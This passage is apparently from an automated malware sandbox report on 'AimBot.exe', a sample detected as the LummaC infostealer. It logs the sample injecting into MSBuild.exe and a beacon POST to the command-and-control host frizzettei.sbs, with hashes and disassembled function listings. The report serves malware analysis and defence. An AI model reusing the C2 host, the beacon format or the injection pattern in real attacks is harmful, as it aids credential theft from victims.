/><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = document.getElementById('cook
2024-10-07 04:44:13 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 61 74 6f 6b 22 20 76 61 6c 75 65 3d 22 53 6c 68 32 78 4b 43 36 75 31 6e 59 63 37 73 74 30 64 59 73 75 74 4d 6b 69 35 6a 5a 7a 5f 6a 53 52 36 42 44 41 4e 6b 64 73 62 30 2d 31 37 32 38 32 37 36 32 35 33 2d 30 2e 30 2e 31 2e 31 2d 2f 61 70 69 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 Data Ascii: <input type="hidden" name="atok" value="Slh2xKC6u1nYc7st0dYsutMki5jZz_jSR6BDANkdsb0-1728276253-0.0.1.1-/api"> <a href="https://www.cloudflare.com/learning/access-management/phishing-attack/" class="cf-btn" st
2024-10-07 04:44:13 UTC	849	IN	Data Raw: 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 35 78 78 2d 65 72 72 6f 72 2d 6c 61 6e 64 69 6e 67 22 20 69 64 3d 22 62 72 61 6e 64 5f 6c 69 6e 6b 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 61 Data Ascii: m:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/5xx-error-landing" id="brand_link" target="_blank">Cloudflare</a
2024-10-07 04:44:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	188.114.96.3	443	1548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 04:44:13 UTC	351	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=Slh2xKC6u1nYc7st0dYsutMki5jZz_jSR6BDANkdsb0-1728276253-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: frizzettei.sbs
2024-10-07 04:44:13 UTC	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 71 6e 76 77 6a 74 66 74 6c 67 6d 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LPnhqo--qnvwjtftlgmt&j=
2024-10-07 04:44:14 UTC	766	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 04:44:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ggm3qsri4fbrll7tm51dlvsal4; expires=Thu, 30 Jan 2025 22:30:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=f51WiyRBOUhbU3ag5d6x7e793Gq5E5wRUn0WUad%2Fbzd7ZpxirtDG0ytlr7F0ZCyAbnq31A2XByRNIQ15t4DNPLvAI2N37iBUk05MDcESeDwKAHl9VyeQ2EL8lwmMJ3kQXg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ceb3c1a8b75726f-EWR
2024-10-07 04:44:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-07 04:44:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	1
Start time:	00:44:10
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\AimBot.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\AimBot.exe"
Imagebase:	0x6b0000
File size:	563'064 bytes
MD5 hash:	EF804B1837C6250DD1117F4D3A46E6C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:44:10
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x220000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:44:10
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xd40000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:44:13
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1548 -s 1636
Imagebase:	0xd0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.3%
Total number of Nodes:	270
Total number of Limit Nodes:	5

Executed Functions

Function 006B1FE0 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 433
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(007352E0,000004E4,00000040,?), ref: 006B2497

Strings

MZx, xrefs: 006B24A9, 006B24B5, 006B24BA
V, xrefs: 006B2408

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: MZx$V
API String ID: 544645111-3958614188
Opcode ID: ec36c7fadc3250a4c5d198640c03451e874b6d5806fd67eb25cfc87901b19406
Instruction ID: 6c831d748db0d34918c2cc00cdb6fcba7f5ef393dee9747450418e6380550d51
Opcode Fuzzy Hash: ec36c7fadc3250a4c5d198640c03451e874b6d5806fd67eb25cfc87901b19406
Instruction Fuzzy Hash: 21A1EE97630E1F06D30CB03489622F6A1CBE7BA731FC54336AE26977E5D35A49829384

Function 006CA39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction ID: 799d725db3eda2b74680aff8e2965ddf5be24e6872fc0890eee369d9a46560c3
Opcode Fuzzy Hash: f0ce309dae35eeb64f75d2208773cf58d8f35ba8da59f9c1b76811168d481250
Instruction Fuzzy Hash: A2E04632911278EBCB14EBC98948EAAF2ADEB45B48B11019EB506D3200C270EE00C7D4

Function 006C0C7E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction ID: bfefb2a070ec6a8043da2172162bef929e0136c68b07cfbf4c61c429bc0b2f99
Opcode Fuzzy Hash: 26b61e700e3e5bce12354a0b1fde2f27a5d579f549683416bfe0bcbdbbb751ec
Instruction Fuzzy Hash: 7CC08C34040E40C7DE2A8D208275BF83366E39178BF90098CC4168BB82C93E9C82D601

Function 006C5C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,1EF52B29,?,006C5DA5,006BC196,?,F8250000,00000000), ref: 006C5D59

Strings

ext-ms-, xrefs: 006C5D03
api-ms-, xrefs: 006C5CEF

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e8b1b4526e9b5bf55dae6f2d0295b0874dccabaa10798ccac0024a8a0dc82321
Instruction ID: 8f171f23a60f1b7fb24139b564bbd4a66e357057ef5f25623b656e076302bd0c
Opcode Fuzzy Hash: e8b1b4526e9b5bf55dae6f2d0295b0874dccabaa10798ccac0024a8a0dc82321
Instruction Fuzzy Hash: A221D5B1A01B22ABC7219B20DC49FBA376BDF42761B29411DE907AB390D730FD41C6E4

Function 006C8B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 006C8D2B

Part of subcall function 006C37D3: HeapAlloc.KERNEL32(00000000,006C9EFA,?,?,006C9EFA,00000220,?,?,?), ref: 006C3805

__freea.LIBCMT ref: 006C8D40
__freea.LIBCMT ref: 006C8D50

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: 2d6d283d54324fda6083a31955ece89a96e9eb91bc71cbc5c3d90cfd62ff9a1f
Instruction ID: b036a1608aa0f1123686d96628f252ebaef81f41070606478c20125e8859bb1a
Opcode Fuzzy Hash: 2d6d283d54324fda6083a31955ece89a96e9eb91bc71cbc5c3d90cfd62ff9a1f
Instruction Fuzzy Hash: 2E51ACB260121AAFEB209F60CC85FFB36ABEF54750B19052DBD05E7290EB35DC5087A4

Function 006C0C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,006C0C04,00000000,?,?,`l,1EF52B29,?,006C0D60), ref: 006C0C1B
TerminateProcess.KERNEL32(00000000,?,006C0C04,00000000,?,?,`l,1EF52B29,?,006C0D60), ref: 006C0C22
ExitProcess.KERNEL32 ref: 006C0C34

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2d48a52d3bbf09f8ff26f1a5e4b9a6ee14a4ea059ede6656503c3cb231a43932
Instruction ID: 617a215b3e599b8a31456c7cb0fadc7f9022d34e20b6c24145307f2d352b2e01
Opcode Fuzzy Hash: 2d48a52d3bbf09f8ff26f1a5e4b9a6ee14a4ea059ede6656503c3cb231a43932
Instruction Fuzzy Hash: C7D09232401109EFDF413FA1DD1DEA93F2BFF64381B909119B9098A131DB319996DA94

Function 006CA0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006C9C26: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 006C9C51

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,006C9F3D,?,00000000,?,?,?), ref: 006CA159
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,006C9F3D,?,00000000,?,?,?), ref: 006CA19B

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 754a65fce4430725871c11bcb57af3c8aee98e17db0b373875558c176d8f56f7
Instruction ID: d369781bc24f31d1576b894579d035fabdd94595dde336eb85d0854051b3f6d9
Opcode Fuzzy Hash: 754a65fce4430725871c11bcb57af3c8aee98e17db0b373875558c176d8f56f7
Instruction Fuzzy Hash: 35513470A002599EDB20CFB5C884FFABBF7EF41308F18456ED08287351E6799A45CB92

Function 006C60B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,006C8C6A,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 006C60EA
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,006C8C6A,?,?,00000000,?,00000000), ref: 006C6108

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: a92e0f38afe2ff6c509a0bebeba20a6f56e081c76f6adc8d3aaf13bc45fbbefc
Instruction ID: 321ffa03ce29ea395f23d1b936895e0a0bfb6efe0ea69249ca53e5fb452d3801
Opcode Fuzzy Hash: a92e0f38afe2ff6c509a0bebeba20a6f56e081c76f6adc8d3aaf13bc45fbbefc
Instruction Fuzzy Hash: C3F0683240025ABBCF225F90DD05EEE3F27EF58760F098019BA1865121CA36C972AB94

Function 006C9CFA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,006C9F49,006C9F3D,00000000), ref: 006C9D2C

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: d98ab09c9d680d56d3c3f099bc1e30e687b61de85d8d608fd56b9549996962a8
Instruction ID: 61ed9a68a42aed016646be5690db79e091dd706354afa6f35c39932f6b7dd6fb
Opcode Fuzzy Hash: d98ab09c9d680d56d3c3f099bc1e30e687b61de85d8d608fd56b9549996962a8
Instruction Fuzzy Hash: 695138719082589EDB21CA28CC88FF67BAEEF59304F2405EDE19AD7142D231AD46DB30

Function 006C5D63 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7fce0135c2b7334c561fe8af2df8476e023869f30c35679aea921509f6be3ae
Instruction ID: 3601a9da3ec38b526bf0fe3e5056bb9da3d892c6a3e7a1aa6d4b031387d3c9c3
Opcode Fuzzy Hash: f7fce0135c2b7334c561fe8af2df8476e023869f30c35679aea921509f6be3ae
Instruction Fuzzy Hash: 8701D233700716AB9B159E69EC44FAA3797EFC43247248129F903DB194DA31B8818694

Non-executed Functions

Function 006FC87E Relevance: 22.0, Strings: 16, Instructions: 2016COMMON

Download Yara Rule

Strings

(tO, xrefs: 006FD718
{zy, xrefs: 006FE38C
X_, xrefs: 006FC904
XYZ[, xrefs: 006FD669
m[Z1, xrefs: 006FCA47, 006FCA56
}s, xrefs: 006FCBA5
, xrefs: 006FD878
QA, xrefs: 006FCBBB
/.-,, xrefs: 006FDDC4, 006FDDD0
Cw, xrefs: 006FE5B1
~{, xrefs: 006FCBB0
$C[, xrefs: 006FD739
8, xrefs: 006FDF90
@ABC, xrefs: 006FD653
Sz, xrefs: 006FCB9A
<, xrefs: 006FDAEF

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: $/.-,$8$<$@ABC$Cw$QA$Sz$XYZ[$X_$m[Z1$}s$~{$$C[$(tO${zy
API String ID: 0-2740061455
Opcode ID: 8ea5d8449a68241c752937fcf56c3f4a608418571f0ebd8a621df8114add5542
Instruction ID: cde1ae6c3c084ba8b870f7a2289709f85892fd605f2508a64920776d5e8a50c5
Opcode Fuzzy Hash: 8ea5d8449a68241c752937fcf56c3f4a608418571f0ebd8a621df8114add5542
Instruction Fuzzy Hash: 6EF269B15083848BE730CF14C844BAFBBE2BFD5704F14891DE6C99B292DB36A955CB52

Function 00707420 Relevance: 21.7, Strings: 17, Instructions: 417COMMON

Download Yara Rule

Strings

H+e), xrefs: 00707C07
A3V1, xrefs: 00707C49
#!, xrefs: 00707FA3
!k#i, xrefs: 00707CB7
I7G5, xrefs: 00707C3E
%S'Q, xrefs: 00707CA1
,W'U, xrefs: 00707C96
/-, xrefs: 00707F98
=K0I, xrefs: 00707C5F
>c8a, xrefs: 00707CCD
3{7y, xrefs: 00707CE3
$;, xrefs: 00707FB9
#g;e, xrefs: 00707CC2
?G2E, xrefs: 00707C6A
m/U-, xrefs: 00707BFC
7w9u, xrefs: 00707CEE
4o)m, xrefs: 00707CAC

Memory Dump Source

Source File: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID:
String ID: !k#i$#g;e$$;$%S'Q$,W'U$3{7y$4o)m$7w9u$=K0I$>c8a$?G2E$A3V1$H+e)$I7G5$m/U-$#!$/-
API String ID: 0-4091476851
Opcode ID: ab089e0fff898bad65541a41b9f883bd2dda00d8277168bd69cae61db45076a1
Instruction ID: 9304b53c36a1b00348f6719a1794b8e25ce0c49fb9d90f042b6e65da21805773
Opcode Fuzzy Hash: ab089e0fff898bad65541a41b9f883bd2dda00d8277168bd69cae61db45076a1
Instruction Fuzzy Hash: AA42A5B800D385CAE2748F21D585B8FBAF2BB91704F608A1CD6DD5B255DBB4804ACF93

Function 006CC73B Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006C4C01: GetLastError.KERNEL32(?,00000008,006C91D2), ref: 006C4C05
Part of subcall function 006C4C01: SetLastError.KERNEL32(00000000,006DB440,00000024,006C0169), ref: 006C4CA7

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 006CC847
IsValidCodePage.KERNEL32(00000000), ref: 006CC890
IsValidLocale.KERNEL32(?,00000001), ref: 006CC89F
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 006CC8E7
